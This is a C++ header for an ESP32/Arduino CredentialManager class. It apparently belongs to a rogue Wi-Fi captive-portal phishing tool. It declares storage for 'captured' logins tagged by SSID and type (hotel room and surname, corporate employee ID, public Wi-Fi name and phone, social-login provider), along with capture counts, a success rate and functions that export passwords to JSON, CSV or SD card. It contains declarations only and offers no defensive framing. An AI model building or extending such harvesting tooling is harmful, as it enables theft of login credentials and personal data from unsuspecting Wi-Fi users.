177 lines
5.5 KiB
C++
177 lines
5.5 KiB
C++
#ifndef CREDENTIAL_MANAGER_H
|
|
#define CREDENTIAL_MANAGER_H
|
|
|
|
#include <Arduino.h>
|
|
#include <ArduinoJson.h>
|
|
#include <SPIFFS.h>
|
|
#include <WiFi.h>
|
|
#include <mbedtls/aes.h>
|
|
#include <mbedtls/md.h>
|
|
#include <mbedtls/entropy.h>
|
|
#include <mbedtls/ctr_drbg.h>
|
|
|
|
// Configuration constants
|
|
#define MAX_CREDENTIALS 500
|
|
#define CREDENTIAL_FILE "/credentials.enc"
|
|
#define STATS_FILE "/stats.json"
|
|
#define AES_KEY_SIZE 32
|
|
#define AES_IV_SIZE 16
|
|
#define HASH_SIZE 32
|
|
|
|
// Credential types
|
|
enum CredentialType {
|
|
CRED_GENERIC = 0,
|
|
CRED_HOTEL = 1,
|
|
CRED_CORPORATE = 2,
|
|
CRED_PUBLIC = 3,
|
|
CRED_SOCIAL = 4
|
|
};
|
|
|
|
// Credential structure
|
|
struct Credential {
|
|
uint32_t id;
|
|
CredentialType type;
|
|
char ssid[33];
|
|
char timestamp[25];
|
|
char ip_address[16];
|
|
char user_agent[256];
|
|
|
|
// Generic fields
|
|
char username[64];
|
|
char password[128];
|
|
char email[128];
|
|
|
|
// Hotel specific
|
|
char room_number[10];
|
|
char last_name[64];
|
|
|
|
// Corporate specific
|
|
char department[32];
|
|
char employee_id[16];
|
|
|
|
// Public WiFi specific
|
|
char full_name[64];
|
|
char phone[20];
|
|
char purpose[32];
|
|
|
|
// Social login
|
|
char provider[16];
|
|
|
|
bool is_valid;
|
|
uint32_t checksum;
|
|
};
|
|
|
|
// Statistics structure
|
|
struct CredentialStats {
|
|
uint32_t total_captured;
|
|
uint32_t generic_count;
|
|
uint32_t hotel_count;
|
|
uint32_t corporate_count;
|
|
uint32_t public_count;
|
|
uint32_t social_count;
|
|
uint32_t unique_ssids;
|
|
char last_capture[25];
|
|
char first_capture[25];
|
|
uint32_t session_captures;
|
|
float success_rate;
|
|
};
|
|
|
|
class CredentialManager {
|
|
private:
|
|
uint8_t encryption_key[AES_KEY_SIZE];
|
|
uint8_t iv[AES_IV_SIZE];
|
|
mbedtls_aes_context aes_ctx;
|
|
mbedtls_entropy_context entropy;
|
|
mbedtls_ctr_drbg_context ctr_drbg;
|
|
|
|
Credential* credentials;
|
|
uint32_t credential_count;
|
|
uint32_t next_id;
|
|
CredentialStats stats;
|
|
|
|
bool initialized;
|
|
bool encryption_enabled;
|
|
|
|
// Private methods
|
|
bool initializeEncryption();
|
|
bool generateEncryptionKey();
|
|
bool encryptData(const uint8_t* input, size_t input_len, uint8_t* output, size_t* output_len);
|
|
bool decryptData(const uint8_t* input, size_t input_len, uint8_t* output, size_t* output_len);
|
|
uint32_t calculateChecksum(const Credential* cred);
|
|
bool validateCredential(const Credential* cred);
|
|
void updateStats(const Credential* cred);
|
|
bool saveCredentialsToFile();
|
|
bool loadCredentialsFromFile();
|
|
bool saveStatsToFile();
|
|
bool loadStatsFromFile();
|
|
void sanitizeInput(char* input, size_t max_len);
|
|
bool isDuplicateCredential(const Credential* cred);
|
|
|
|
public:
|
|
CredentialManager();
|
|
~CredentialManager();
|
|
|
|
// Initialization
|
|
bool begin(bool enable_encryption = true);
|
|
bool isInitialized() const { return initialized; }
|
|
|
|
// Credential management
|
|
bool addCredential(const JsonDocument& json_data);
|
|
bool addGenericCredential(const char* ssid, const char* username, const char* password, const char* email = nullptr);
|
|
bool addHotelCredential(const char* ssid, const char* room_number, const char* last_name, const char* email = nullptr);
|
|
bool addCorporateCredential(const char* ssid, const char* username, const char* password, const char* department, const char* employee_id);
|
|
bool addPublicCredential(const char* ssid, const char* email, const char* name, const char* phone = nullptr, const char* purpose = nullptr);
|
|
bool addSocialCredential(const char* ssid, const char* provider);
|
|
|
|
// Data retrieval
|
|
uint32_t getCredentialCount() const { return credential_count; }
|
|
const Credential* getCredential(uint32_t index) const;
|
|
const Credential* getCredentialById(uint32_t id) const;
|
|
const CredentialStats* getStats() const { return &stats; }
|
|
|
|
// Export functions
|
|
String exportCredentialsJSON(bool include_passwords = false);
|
|
String exportCredentialsCSV(bool include_passwords = false);
|
|
String exportStatsJSON();
|
|
bool exportToSD(const char* filename, bool include_passwords = false);
|
|
bool autoBackupToSD();
|
|
|
|
// Search and filter
|
|
uint32_t findCredentialsBySSID(const char* ssid, uint32_t* results, uint32_t max_results);
|
|
uint32_t findCredentialsByType(CredentialType type, uint32_t* results, uint32_t max_results);
|
|
uint32_t findCredentialsByTimeRange(const char* start_time, const char* end_time, uint32_t* results, uint32_t max_results);
|
|
|
|
// Management functions
|
|
bool clearAllCredentials();
|
|
bool deleteCredential(uint32_t id);
|
|
bool compactStorage();
|
|
size_t getStorageUsed();
|
|
size_t getStorageAvailable();
|
|
|
|
// Security functions
|
|
bool changeEncryptionKey(const char* new_key);
|
|
bool verifyIntegrity();
|
|
bool createBackup(const char* filename);
|
|
bool restoreBackup(const char* filename);
|
|
|
|
// Real-time functions
|
|
void resetSessionStats();
|
|
float getCurrentSuccessRate();
|
|
uint32_t getSessionCaptures() const { return stats.session_captures; }
|
|
|
|
// Utility functions
|
|
static const char* credentialTypeToString(CredentialType type);
|
|
static CredentialType stringToCredentialType(const char* type_str);
|
|
static String formatTimestamp();
|
|
static bool isValidEmail(const char* email);
|
|
static bool isValidPhone(const char* phone);
|
|
};
|
|
|
|
// Global instance
|
|
extern CredentialManager credentialManager;
|
|
|
|
// Helper macros
|
|
#define CRED_LOG(msg) Serial.printf("[CRED] %s\n", msg)
|
|
#define CRED_LOG_F(fmt, ...) Serial.printf("[CRED] " fmt "\n", ##__VA_ARGS__)
|
|
|
|
#endif // CREDENTIAL_MANAGER_H
|